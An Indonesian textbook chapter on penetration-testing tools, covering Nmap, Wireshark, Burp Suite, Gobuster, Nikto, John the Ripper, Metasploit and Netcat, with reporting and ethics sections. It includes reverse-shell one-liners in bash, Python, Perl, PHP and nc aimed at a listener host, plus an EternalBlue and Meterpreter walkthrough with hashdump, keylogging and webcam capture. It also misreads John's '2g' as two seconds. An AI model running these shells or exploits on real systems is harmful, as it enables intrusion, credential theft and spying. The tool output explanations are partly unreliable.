BAB 18 - SECURITY TOOLS

Apa itu Security Tools?

Security tools adalah software yang dirancang untuk membantu praktisi keamanan dalam melakukan berbagai tugas keamanan seperti reconnaissance, scanning, exploitation, dan reporting. Tools ini mengotomatisasi proses yang manual, meningkatkan efisiensi, dan memberikan kapabilitas yang tidak mungkin dilakukan secara manual.

Kategori Security Tools

Tools yang Akan Dipelajari

Memilih Tools yang Tepat

Tidak ada "silver bullet" dalam security testing. Pemilihan tools bergantung pada:

• Tujuan pengujian - reconnaissance, vulnerability assessment, exploitation?
• Tipe target - network, web app, wireless, database?
• Lingkungan - production, lab, cloud?
• Waktu dan resource - automated vs manual testing
• Legalitas - izin tertulis, scope yang jelas

Apa itu Nmap?

Nmap (Network Mapper) adalah tool open-source untuk network discovery dan security auditing. Dibuat oleh Gordon Lyon (Fyodor), Nmap adalah salah satu tool paling populer dan powerful dalam dunia security testing. Nmap dapat digunakan untuk:

• Menemukan host dan services di jaringan
• Mendeteksi OS dan versi software
• Mengidentifikasi vulnerability
• Monitoring uptime dan availability

Sintaks Dasar Nmap

Tipe Scan Utama

Contoh Penggunaan Nmap

Bash - Nmap Examples
# Basic scan - single host
$ nmap 192.168.1.1

# Scan with service version detection
$ nmap -sV 192.168.1.1

# Scan with OS detection
$ nmap -O 192.168.1.1

# Aggressive scan (OS, version, scripts, traceroute)
$ nmap -A 192.168.1.1

# Scan specific ports
$ nmap -p 80,443,22 192.168.1.1

# Scan port range
$ nmap -p 1-1000 192.168.1.1

# Scan all ports
$ nmap -p- 192.168.1.1

# Scan subnet
$ nmap 192.168.1.0/24

# Scan multiple targets
$ nmap 192.168.1.1 192.168.1.2 192.168.1.3

# Scan from file
$ nmap -iL targets.txt

# Stealth scan (SYN scan)
$ nmap -sS 192.168.1.1

# UDP scan
$ sudo nmap -sU 192.168.1.1

# Fast scan
$ nmap -T4 -F 192.168.1.1

# Output to file
$ nmap -oN output.txt 192.168.1.1
$ nmap -oX output.xml 192.168.1.1
$ nmap -oA output 192.168.1.1  # All formats

# Script scan (NSE scripts)
$ nmap --script vuln 192.168.1.1
$ nmap --script=default 192.168.1.1

# Timing templates
$ nmap -T0 192.168.1.1  # Paranoid
$ nmap -T1 192.168.1.1  # Sneaky
$ nmap -T2 192.168.1.1  # Polite
$ nmap -T3 192.168.1.1  # Normal (default)
$ nmap -T4 192.168.1.1  # Aggressive
$ nmap -T5 192.168.1.1  # Insane

# Fragment packets (bypass firewall)
$ nmap -f 192.168.1.1

# Decoy scan
$ nmap -D RND:10 192.168.1.1

# Source port manipulation
$ nmap --source-port 53 192.168.1.1

# Spoof MAC address
$ nmap --spoof-mac 0 192.168.1.1

Membaca Output Nmap

Nmap Output Example
Starting Nmap 7.94 ( https://nmap.org ) at 2026-09-09 10:00 WIB
Nmap scan report for 192.168.1.1
Host is up (0.0015s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp  open  http        Apache httpd 2.4.41
443/tcp open  ssl/http    Apache httpd 2.4.41

Service detection performed. Please report any incorrect results.
Nmap done: 1 IP address (1 host up) scanned in 2.34 seconds

# Penjelasan:
# - Host is up = target aktif
# - PORT = nomor port
# - STATE = open/closed/filtered
# - SERVICE = nama service
# - VERSION = versi software

Nmap Scripting Engine (NSE)

NSE memungkinkan Anda menjalankan script untuk berbagai tujuan:

Bash - NSE Scripts
# Default scripts
$ nmap -sC 192.168.1.1

# Vulnerability scripts
$ nmap --script vuln 192.168.1.1

# Specific vulnerability script
$ nmap --script smb-vuln-ms17-010 192.168.1.1

# HTTP enumeration
$ nmap --script http-enum 192.168.1.1

# DNS brute force
$ nmap --script dns-brute example.com

# FTP anonymous login
$ nmap --script ftp-anon 192.168.1.1

# SMB enumeration
$ nmap --script smb-enum-shares 192.168.1.1

# List all available scripts
$ nmap --script-help=all | less

# Update NSE scripts
$ nmap --script-updatedb

Apa itu Wireshark?

Wireshark adalah network protocol analyzer open-source yang paling populer. Wireshark memungkinkan Anda menangkap dan menganalisis traffic jaringan secara real-time atau dari file capture. Wireshark digunakan untuk:

• Network troubleshooting
• Security analysis
• Protocol analysis
• Malware analysis
• Forensics investigation

Dasar-dasar Wireshark

Bash - Wireshark Basic Commands
# Start Wireshark GUI
$ wireshark

# Capture from specific interface
$ wireshark -i eth0

# Capture with filter
$ wireshark -i eth0 -f "port 80"

# Capture to file
$ wireshark -i eth0 -w capture.pcap

# Open capture file
$ wireshark -r capture.pcap

# Command-line version: tshark
$ tshark -i eth0
$ tshark -i eth0 -f "port 80"
$ tshark -r capture.pcap

# Capture with specific count
$ tshark -i eth0 -c 100

# Capture with duration
$ tshark -i eth0 -a duration:60

Display Filters

Contoh Penggunaan Wireshark

Bash - Wireshark Examples
# Capture HTTP traffic
$ tshark -i eth0 -Y "http" -V

# Capture DNS queries
$ tshark -i eth0 -Y "dns.qry.name" -T fields -e frame.time -e dns.qry.name

# Capture HTTP requests with specific method
$ tshark -i eth0 -Y "http.request.method == POST"

# Capture traffic from specific IP
$ tshark -i eth0 -Y "ip.addr == 192.168.1.100"

# Capture HTTP POST with credentials
$ tshark -i eth0 -Y "http.request.method == POST" -T fields \
       -e http.request.uri -e http.file_data

# Capture DNS responses
$ tshark -i eth0 -Y "dns.flags.response == 1"

# Capture TCP SYN packets
$ tshark -i eth0 -Y "tcp.flags.syn == 1 && tcp.flags.ack == 0"

# Capture ICMP traffic
$ tshark -i eth0 -Y "icmp"

# Capture traffic with specific port range
$ tshark -i eth0 -Y "tcp.port >= 1 && tcp.port <= 1024"

# Export HTTP objects
$ tshark -r capture.pcap --export-objects http,./exported/

# Follow TCP stream
$ tshark -r capture.pcap -q -z follow,tcp,ascii,0

Analisis Traffic

Langkah-langkah Analisis:

1. Capture traffic - tangkap traffic yang relevan
2. Apply filters - filter traffic yang ingin dianalisis
3. Follow streams - ikuti TCP/UDP streams
4. Identify anomalies - cari pola yang mencurigakan
5. Extract data - ekstrak data yang relevan
6. Document findings - dokumentasikan temuan

Tanda-tanda Mencurigakan:

• Traffic ke port yang tidak biasa
• Traffic dalam jumlah besar ke satu tujuan
• Traffic encrypted ke port non-standard
• DNS queries yang mencurigakan
• Traffic ke IP yang tidak dikenal
• Pattern yang tidak biasa (beaconing)

Apa itu Burp Suite?

Burp Suite adalah platform terintegrasi untuk menguji keamanan aplikasi web. Dibuat oleh PortSwigger, Burp Suite adalah standar industri untuk web application security testing. Burp Suite terdiri dari beberapa tools:

• Proxy - Intercept dan modifikasi traffic
• Repeater - Manual request manipulation
• Intruder - Automated attacks
• Scanner - Automated vulnerability scanning
• Decoder - Encoding/decoding data
• Comparer - Compare data
• Sequencer - Analyze session tokens
• Extender - Extend functionality

Konfigurasi Burp Suite

Langkah-langkah Setup:

1. Start Burp Suite
2. Configure proxy - Proxy -> Options -> Proxy Listeners
3. Configure browser - Set proxy ke 127.0.0.1:8080
4. Install CA certificate - Proxy -> Options -> Import CA certificate
5. Start intercepting - Proxy -> Intercept -> Intercept is on

Menggunakan Burp Proxy

Burp Suite - Proxy Usage
# 1. Configure browser proxy
# Firefox: Preferences -> Network Settings -> Manual proxy
# HTTP Proxy: 127.0.0.1:8080

# 2. Install CA certificate
# Browse to http://burpsuite
# Download CA certificate
# Import to browser

# 3. Start intercepting
# Proxy -> Intercept -> Intercept is on

# 4. Browse target website
# All requests will be intercepted

# 5. Forward or drop requests
# Forward: send request to server
# Drop: drop request

# 6. Modify requests
# Edit request before forwarding

# 7. Send to Repeater
# Right-click -> Send to Repeater

# 8. Send to Intruder
# Right-click -> Send to Intruder

Menggunakan Burp Repeater

Repeater memungkinkan Anda memodifikasi dan mengirim ulang request secara manual:

1. Send request to Repeater - dari Proxy atau Target
2. Modify request - edit parameter, headers, dll
3. Send request - klik "Go"
4. Analyze response - lihat response dari server
5. Iterate - modifikasi dan kirim ulang

Menggunakan Burp Intruder

Intruder digunakan untuk automated attacks seperti brute force, fuzzing, dll:

1. Send request to Intruder
2. Set positions - tandai parameter yang akan di-attack
3. Set payload - pilih payload type (list, numbers, dll)
4. Configure settings - attack type, grep, dll
5. Start attack - klik "Start attack"
6. Analyze results - lihat hasil attack

Attack Types:

Menggunakan Burp Scanner

Scanner (Professional edition) melakukan automated vulnerability scanning:

1. Define target - Target -> Scope
2. Start scan - Right-click -> Scan
3. Configure scan - pilih scan type
4. Monitor progress - Dashboard -> Scan tasks
5. Review results - Dashboard -> Issues

Apa itu Gobuster?

Gobuster adalah tool untuk brute-forcing URI (directories dan files), DNS subdomains, virtual host names, dan Amazon S3 buckets. Gobuster ditulis dalam Go dan sangat cepat. Gobuster digunakan untuk:

• Directory brute-forcing
• DNS subdomain enumeration
• Virtual host discovery
• S3 bucket enumeration

Sintaks Dasar Gobuster

Mode Gobuster

Contoh Penggunaan Gobuster

Bash - Gobuster Examples
# Directory brute-forcing
$ gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt

# Directory brute-forcing with extensions
$ gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

# Directory brute-forcing with threads
$ gobuster dir -u http://example.com -w wordlist.txt -t 50

# Directory brute-forcing with status codes
$ gobuster dir -u http://example.com -w wordlist.txt -s 200,301,302

# Directory brute-forcing with output
$ gobuster dir -u http://example.com -w wordlist.txt -o results.txt

# DNS subdomain enumeration
$ gobuster dns -d example.com -w /usr/share/wordlists/dnsmap.txt

# DNS subdomain enumeration with threads
$ gobuster dns -d example.com -w wordlist.txt -t 50

# DNS subdomain enumeration with output
$ gobuster dns -d example.com -w wordlist.txt -o results.txt

# Virtual host discovery
$ gobuster vhost -u http://example.com -v -w vhost-list.txt

# Virtual host discovery with domain
$ gobuster vhost -u http://example.com -v -w wordlist.txt --domain example.com

# S3 bucket enumeration
$ gobuster s3 -w bucket-list.txt

# S3 bucket enumeration with output
$ gobuster s3 -w bucket-list.txt -o results.txt

# Common options
$ gobuster dir -u http://example.com -w wordlist.txt \
       -t 50 \              # threads
       -x php,html,txt \    # extensions
       -s 200,301,302 \     # status codes
       -o results.txt \     # output file
       -k \                 # skip SSL verification
       -q                   # quiet mode

Membaca Output Gobuster

Gobuster Output Example
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Mode:            dir
[+] Url/Target:      http://example.com/
[+] Threads:         10
[+] Wordlist:        wordlist.txt
[+] Status codes:    200,204,301,302,307,401,403
===============================================================
/admin                (Status: 301) [Size: 169]
/images               (Status: 301) [Size: 169]
/index.html           (Status: 200) [Size: 612]
/login                (Status: 200) [Size: 1024]
/uploads              (Status: 301) [Size: 169]
===============================================================
Finished
===============================================================

# Penjelasan:
# - /admin = directory ditemukan
# - Status: 301 = redirect
# - Size: 169 = response size

Wordlists untuk Gobuster

Gobuster membutuhkan wordlist untuk brute-forcing. Beberapa wordlist populer:

• /usr/share/wordlists/dirb/common.txt - common directories
• /usr/share/wordlists/dirb/big.txt - large directory list
• /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt - medium list
• /usr/share/seclists/Discovery/Web-Content/ - SecLists
• /usr/share/seclists/Discovery/DNS/ - DNS wordlists

Apa itu Nikto?

Nikto adalah web server scanner yang melakukan comprehensive tests untuk web servers. Nikto mendeteksi:

• Over 6700 potentially dangerous files/programs
• Versions of server software
• Server configuration issues
• Outdated software

Sintaks Dasar Nikto

Contoh Penggunaan Nikto

Bash - Nikto Examples
# Basic scan
$ nikto -h http://example.com

# Scan with specific port
$ nikto -h 192.168.1.1 -p 8080

# Scan with SSL
$ nikto -h https://example.com -ssl

# Scan with output to file
$ nikto -h http://example.com -o results.html

# Scan with output in different formats
$ nikto -h http://example.com -o results.xml -Format xml
$ nikto -h http://example.com -o results.csv -Format csv

# Scan with specific tests
$ nikto -h http://example.com -Tuning 1

# Scan with multiple tunings
$ nikto -h http://example.com -Tuning 1234

# Scan with evasion techniques
$ nikto -h http://example.com -evasion 1

# Scan with user agent
$ nikto -h http://example.com -useragent "Mozilla/5.0"

# Scan with authentication
$ nikto -h http://example.com -id admin:password

# Scan with proxy
$ nikto -h http://example.com -useproxy http://proxy:8080

# Scan with timeout
$ nikto -h http://example.com -timeout 10

# Scan with pause between tests
$ nikto -h http://example.com -Pause 1

# Scan with specific CGI directories
$ nikto -h http://example.com -Cgidirs /cgi-bin/

# Tuning options:
# 0 - File upload
# 1 - Interesting file / Seen in logs
# 2 - Misconfiguration / Default File
# 3 - Information Disclosure
# 4 - Injection (XSS/Script/HTML)
# 5 - Remote File Retrieval - Inside Web Root
# 6 - Denial of Service
# 7 - Remote File Retrieval - Server Wide
# 8 - Command Execution / Remote Shell
# 9 - SQL Injection
# a - Authentication Bypass
# b - Software Identification
# c - Remote Source Inclusion
# x - Reverse Tuning Options

Membaca Output Nikto

Nikto Output Example
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.1
+ Target Hostname:    example.com
+ Target Port:        80
+ Start Time:         2026-09-09 10:00:00 (GMT+7)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ /admin/: Directory indexing found.
+ /admin/: Admin login page/section found.
+ /robots.txt: contains 1 entry.
+ 891 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2026-09-09 10:05:00 (GMT+7)
---------------------------------------------------------------------------

# Penjelasan:
# + = item ditemukan
# - = informasi
# OSVDB = Open Source Vulnerability Database ID

Apa itu John the Ripper?

John the Ripper (John) adalah password cracking tool yang cepat dan fleksibel. John digunakan untuk:

• Offline password cracking
• Password audit
• Recovery password yang hilang
• Testing password strength

Mode John the Ripper

Contoh Penggunaan John

Bash - John the Ripper Examples
# Basic cracking with wordlist
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Cracking with incremental mode
$ john --incremental hashes.txt

# Cracking with single mode
$ john --single hashes.txt

# Show cracked passwords
$ john --show hashes.txt

# Show cracked passwords with format
$ john --show --format=md5 hashes.txt

# Crack specific hash type
$ john --format=raw-md5 hashes.txt
$ john --format=raw-sha1 hashes.txt
$ john --format=raw-sha256 hashes.txt

# Crack with rules
$ john --wordlist=wordlist.txt --rules=Single hashes.txt

# Crack with specific rules
$ john --wordlist=wordlist.txt --rules=Extra hashes.txt

# Crack with mask
$ john --mask=?l?l?l?d?d hashes.txt

# Crack with mask (complex)
$ john --mask=?l?u?d?s?s?s hashes.txt

# Crack with wordlist and mask
$ john --wordlist=wordlist.txt --mask=?l?u?d?s hashes.txt

# Crack with specific format
$ john --format=bcrypt hashes.txt

# Crack with rules and wordlist
$ john --wordlist=wordlist.txt --rules=RockYou hashes.txt

# Crack with incremental and mask
$ john --incremental=Digits --mask=?d?d?d?d hashes.txt

# Crack with wordlist and incremental
$ john --wordlist=wordlist.txt --incremental hashes.txt

# Restore session
$ john --restore

# Show status
$ john --status hashes.txt

# Show all cracked
$ john --show --all hashes.txt

Hash Formats

John mendukung banyak hash formats:

Wordlists untuk John

John membutuhkan wordlist untuk wordlist mode:

• /usr/share/wordlists/rockyou.txt - RockYou wordlist (14 million passwords)
• /usr/share/wordlists/fasttrack.txt - Fasttrack wordlist
• /usr/share/wordlists/dirb/common.txt - Common words
• Custom wordlists - dibuat sendiri

Membuat Hash untuk Testing

Bash - Generate Hashes for Testing
# Generate MD5 hash
$ echo -n "password" | md5sum
5f4dcc3b5aa765d61d8327deb882cf99  -

# Generate SHA1 hash
$ echo -n "password" | sha1sum
5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8  -

# Generate SHA256 hash
$ echo -n "password" | sha256sum
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8  -

# Save to file
$ echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt

# Crack with John
$ john --format=raw-md5 hash.txt

# Show result
$ john --show hash.txt
password

Apa itu Metasploit?

Metasploit Framework adalah platform penetration testing yang paling populer. Metasploit menyediakan:

• Database exploits
• Database payloads
• Database auxiliary modules
• Database encoders
• Database nops
• Database evasion

Memulai Metasploit

Bash - Starting Metasploit
# Start Metasploit console
$ msfconsole

# Start Metasploit with database
$ msfdb init
$ msfconsole

# Start Metasploit with quiet mode
$ msfconsole -q

# Start Metasploit with resource script
$ msfconsole -r script.rc

# Start Metasploit with update
$ msfupdate

# Start Metasploit with specific workspace
$ msfconsole -w workspace

# Start Metasploit with specific database
$ msfconsole -d database

Struktur Metasploit

Basic Commands

Metasploit - Basic Commands
# Search for exploits
msf> search type:exploit platform:windows

# Search for specific exploit
msf> search ms17_010

# Use exploit
msf> use exploit/windows/smb/ms17_010_eternalblue

# Show options
msf> show options

# Set options
msf> set RHOSTS 192.168.1.1
msf> set LHOST 192.168.1.100

# Show payloads
msf> show payloads

# Set payload
msf> set payload windows/meterpreter/reverse_tcp

# Show advanced options
msf> show advanced

# Set advanced options
msf> set VERBOSE true

# Check if target is vulnerable
msf> check

# Run exploit
msf> exploit

# Run exploit in background
msf> exploit -j

# Show sessions
msf> sessions

# Interact with session
msf> sessions -i 1

# Background session
msf> background

# Kill session
msf> sessions -k 1

# Show jobs
msf> jobs

# Kill job
msf> jobs -k 0

# Show exploits
msf> show exploits

# Show auxiliary
msf> show auxiliary

# Show options
msf> show options

# Set option
msf> set RHOST 192.168.1.1

# Unset option
msf> unset RHOST

# Save options
msf> save

# Exit
msf> exit

Contoh Exploit

Metasploit - MS17-010 EternalBlue
# Search for exploit
msf> search ms17_010

# Use exploit
msf> use exploit/windows/smb/ms17_010_eternalblue

# Show options
msf> show options

# Set RHOSTS
msf> set RHOSTS 192.168.1.1

# Set LHOST
msf> set LHOST 192.168.1.100

# Check if vulnerable
msf> check

# Run exploit
msf> exploit

# If successful, you'll get a meterpreter session
meterpreter> sysinfo
meterpreter> getuid
meterpreter> shell

# Get system shell
C:\> whoami
C:\> ipconfig

Meterpreter Commands

Meterpreter - Basic Commands
# System information
meterpreter> sysinfo
meterpreter> getuid
meterpreter> getpid

# File system
meterpreter> pwd
meterpreter> ls
meterpreter> cd
meterpreter> cat
meterpreter> upload
meterpreter> download

# Process management
meterpreter> ps
meterpreter> kill
meterpreter> execute

# Network
meterpreter> ipconfig
meterpreter> portfwd
meterpreter> route

# Privilege escalation
meterpreter> getsystem
meterpreter> getuid

# Hash dumping
meterpreter> hashdump

# Keylogging
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop

# Screenshot
meterpreter> screenshot

# Webcam
meterpreter> webcam_list
meterpreter> webcam_snap

# Shell
meterpreter> shell

# Background
meterpreter> background

# Help
meterpreter> help

Apa itu Netcat?

Netcat (nc) adalah "Swiss Army knife" untuk networking. Netcat dapat digunakan untuk:

• Port scanning
• File transfer
• Chat
• Port forwarding
• Backdoor creation
• Network testing

Sintaks Dasar Netcat

Contoh Penggunaan Netcat

Bash - Netcat Examples
# Connect to port
$ nc 192.168.1.1 80

# Listen on port
$ nc -l -p 4444

# Listen on port with verbose
$ nc -lvp 4444

# Port scanning
$ nc -zv 192.168.1.1 1-1000

# Port scanning with specific ports
$ nc -zv 192.168.1.1 80 443 22

# File transfer (sender)
$ nc -lvp 4444 > received_file.txt

# File transfer (receiver)
$ nc 192.168.1.100 4444 < file_to_send.txt

# Chat (server)
$ nc -lvp 4444

# Chat (client)
$ nc 192.168.1.100 4444

# Port forwarding
$ nc -lvp 4444 -c "nc 192.168.1.1 80"

# Banner grabbing
$ nc 192.168.1.1 80
GET / HTTP/1.0

# HTTP request
$ nc 192.168.1.1 80
GET / HTTP/1.1
Host: example.com
Connection: close

# SMTP banner
$ nc 192.168.1.1 25

# FTP banner
$ nc 192.168.1.1 21

# SSH banner
$ nc 192.168.1.1 22

# DNS query
$ nc -u 8.8.8.8 53

# UDP connection
$ nc -u 192.168.1.1 53

# Bind shell (listener)
$ nc -lvp 4444 -e /bin/bash

# Reverse shell (client)
$ nc 192.168.1.100 4444 -e /bin/bash

# Reverse shell (Windows)
$ nc 192.168.1.100 4444 -e cmd.exe

# Reverse shell (with -c)
$ nc 192.168.1.100 4444 -c /bin/bash

# Reverse shell (with -e)
$ nc 192.168.1.100 4444 -e /bin/sh

Network Testing dengan Netcat

Port Scanning:

Bash - Netcat Port Scanning
# Scan single port
$ nc -zv 192.168.1.1 80

# Scan port range
$ nc -zv 192.168.1.1 1-100

# Scan multiple ports
$ nc -zv 192.168.1.1 80 443 22 21

# Scan with verbose
$ nc -zvv 192.168.1.1 80

# Scan UDP ports
$ nc -zvu 192.168.1.1 53

# Scan with timeout
$ nc -zv -w 1 192.168.1.1 80

# Scan and save output
$ nc -zv 192.168.1.1 1-1000 > scan.txt

File Transfer:

Bash - Netcat File Transfer
# Receiver (listen)
$ nc -lvp 4444 > received_file.txt

# Sender (connect)
$ nc 192.168.1.100 4444 < file_to_send.txt

# Transfer directory
# Receiver
$ nc -lvp 4444 | tar xvf -

# Sender
$ tar cvf - directory | nc 192.168.1.100 4444

# Transfer with compression
# Receiver
$ nc -lvp 4444 | gzip -d | tar xvf -

# Sender
$ tar cvf - directory | gzip | nc 192.168.1.100 4444

Reverse Shell:

Bash - Netcat Reverse Shell
# Attacker (listener)
$ nc -lvp 4444

# Victim (reverse shell - Linux)
$ nc 192.168.1.100 4444 -e /bin/bash

# Victim (reverse shell - Windows)
$ nc 192.168.1.100 4444 -e cmd.exe

# Victim (reverse shell - with -c)
$ nc 192.168.1.100 4444 -c /bin/bash

# Victim (reverse shell - bash)
$ bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

# Victim (reverse shell - Python)
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# Victim (reverse shell - Perl)
$ perl -e 'use Socket;$i="192.168.1.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Victim (reverse shell - PHP)
$ php -r '$sock=fsockopen("192.168.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Pentingnya Interpretasi Output

Menjalankan tools adalah setengah dari pekerjaan. Memahami dan menginterpretasi output adalah setengah lainnya. Output yang salah interpretasi dapat menyebabkan:

• False positives (temuan palsu)
• False negatives (melewatkan vulnerability)
• Waktu terbuang untuk investigasi yang tidak perlu
• Laporan yang tidak akurat

Common Output Patterns

1. Nmap Output:

Nmap Output Interpretation
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp  open  http        Apache httpd 2.4.41
443/tcp open  ssl/http    Apache httpd 2.4.41

# Interpretasi:
# - PORT = nomor port dan protokol
# - STATE = open/closed/filtered
#   - open = port terbuka, service berjalan
#   - closed = port tertutup, tidak ada service
#   - filtered = port difilter oleh firewall
# - SERVICE = nama service yang terdeteksi
# - VERSION = versi service

2. Nikto Output:

Nikto Output Interpretation
+ /admin/: Directory indexing found.
+ /admin/: Admin login page/section found.
+ /robots.txt: contains 1 entry.

# Interpretasi:
# + = item ditemukan (positif)
# - = informasi
# OSVDB = Open Source Vulnerability Database ID
# OSVDB = database vulnerability open-source

# Penting:
# - Verifikasi setiap temuan
# - Cek apakah benar-benar vulnerability
# - Cek false positives

3. Burp Suite Output:

Burp Suite Output Interpretation
# Proxy Tab:
# - HTTP history = semua request/response
# - Intercept = intercept request/response

# Target Tab:
# - Site map = struktur website
# - Issues = vulnerability yang ditemukan

# Intruder Tab:
# - Positions = posisi parameter yang di-attack
# - Payloads = payload yang digunakan
# - Results = hasil attack

# Scanner Tab:
# - Scan queue = scan yang sedang berjalan
# - Issues = vulnerability yang ditemukan

# Penting:
# - Verifikasi setiap temuan
# - Cek severity (High/Medium/Low/Info)
# - Cek confidence (Certain/Firm/Tentative)

4. John the Ripper Output:

John the Ripper Output Interpretation
Loaded 1 password hash (Raw-MD5 [MD5 128/128 XOP 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (user1)
admin            (user2)
2g 0:00:00:05 DONE 1/2 (2026-09-09 10:00) 0.38g/s 5483Kp/s

# Interpretasi:
# - Loaded = jumlah hash yang di-load
# - password123 (user1) = password cracked untuk user1
# - 2g = waktu yang dibutuhkan (2 detik)
# - 0.38g/s = kecepatan cracking

# Show cracked passwords:
$ john --show hashes.txt
user1:password123
user2:admin
2 password hashes cracked, 0 left

Best Practices Interpretasi

Severity Levels

Common False Positives

• Directory listing - tidak selalu vulnerability
• Default pages - tidak selalu exploitable
• Missing headers - tidak selalu exploitable
• Information disclosure - tidak selalu sensitive
• Self-XSS - hanya bisa dieksploitasi oleh diri sendiri

Pentingnya Dokumentasi

Dokumentasi adalah bagian kritis dari penetration testing. Dokumentasi yang baik:

• Memberikan bukti temuan
• Memudahkan reproduksi temuan
• Menyediakan rekomendasi perbaikan
• Menjadi referensi untuk audit berikutnya
• Memenuhi requirement compliance

Struktur Laporan

1. Executive Summary:

• Overview pengujian
• Scope pengujian
• Ringkasan temuan
• Rekomendasi high-level

2. Technical Report:

• Metodologi pengujian
• Tools yang digunakan
• Detail temuan per vulnerability
• Evidence (screenshots, output)
• Rekomendasi teknis

3. Appendices:

• Raw output dari tools
• Additional evidence
• References

Template Laporan

Penetration Testing Report Template
# PENETRATION TESTING REPORT

# Executive Summary
# ==================
# Client: [Client Name]
# Date: [Date]
# Tester: [Tester Name]
# Scope: [Scope]

# Summary of Findings:
# - Critical: X
# - High: X
# - Medium: X
# - Low: X
# - Info: X

# Technical Report
# ================

# Finding 1: [Vulnerability Name]
# Severity: [Critical/High/Medium/Low/Info]
# Description: [Description]
# Impact: [Impact]
# Steps to Reproduce:
# 1. [Step 1]
# 2. [Step 2]
# 3. [Step 3]
# Evidence:
# [Screenshot/Output]
# Recommendation:
# [Recommendation]

# Finding 2: [Vulnerability Name]
# ...

# Appendices
# ==========
# Appendix A: Raw Tool Output
# Appendix B: Additional Evidence
# Appendix C: References

Best Practices Dokumentasi

Evidence Collection

Jenis Evidence:

• Screenshots - screenshot dari vulnerability
• Tool output - output dari tools
• HTTP requests/responses - dari Burp Suite
• Network captures - dari Wireshark
• Logs - system logs, application logs
• Files - files yang di-download atau di-upload

Best Practices Evidence:

• Timestamp - tambahkan timestamp pada screenshot
• Watermark - tambahkan watermark pada screenshot
• Hash - hash file evidence untuk integritas
• Chain of custody - dokumentasi chain of custody
• Secure storage - simpan evidence dengan aman

Pentingnya Etika

Tools yang dipelajari dalam bab ini adalah double-edged sword - bisa digunakan untuk kebaikan (ethical hacking) atau kejahatan (black hat hacking). Etika adalah garis pemisah antara keduanya.

Ethical Hacking vs Black Hat Hacking

Aspek Legal

Di Indonesia:

• UU ITE Pasal 30 - Akses ke sistem komputer tanpa izin
• UU ITE Pasal 31 - Intersepsi/transmisi tanpa izin
• UU ITE Pasal 32 - Manipulasi data komputer
• UU ITE Pasal 33 - Kerusakan sistem komputer

Sanksi:

• Pasal 30: 6-8 tahun penjara dan/atau denda Rp 600-800 juta
• Pasal 31: 7-9 tahun penjara dan/atau denda Rp 700-900 juta
• Pasal 32: 8-10 tahun penjara dan/atau denda Rp 2-3 miliar
• Pasal 33: 10-12 tahun penjara dan/atau denda Rp 10-12 miliar

Prinsip Etika

Rules of Engagement

Rules of Engagement (RoE) adalah dokumen legal yang mengatur pengujian:

Isi RoE:

• Scope - sistem yang akan diuji
• Out of scope - sistem yang tidak akan diuji
• Testing window - waktu pengujian
• Testing methods - metode pengujian
• Restrictions - batasan pengujian
• Emergency contacts - kontak darurat
• Reporting - format dan waktu pelaporan
• Legal authorization - otorisasi legal

Batasan Penggunaan

Responsible Disclosure

Responsible disclosure adalah praktik etis dalam melaporkan vulnerability:

1. Identifikasi - identifikasi vulnerability
2. Verifikasi - verifikasi vulnerability
3. Laporkan - laporkan ke pemilik secara privat
4. Beri waktu - beri waktu untuk memperbaiki (biasanya 30-90 hari)
5. Follow up - follow up jika tidak ada respons
6. Publikasi - publikasi setelah patch dirilis

Sertifikasi dan Karir

Sertifikasi untuk Ethical Hackers:

• CEH (Certified Ethical Hacker) - EC-Council
• OSCP (Offensive Security Certified Professional) - Offensive Security
• GPEN (GIAC Penetration Tester) - SANS/GIAC
• CPENT (Certified Penetration Testing Professional) - EC-Council

Karir di Cyber Security:

• Penetration Tester - menguji keamanan sistem
• Security Analyst - menganalisis keamanan
• Security Consultant - konsultan keamanan
• Security Researcher - peneliti keamanan
• Bug Bounty Hunter - pemburu bug bounty

Uji pemahaman Anda tentang Bab 18! Target minimal: 70% untuk melanjutkan ke Bab 19.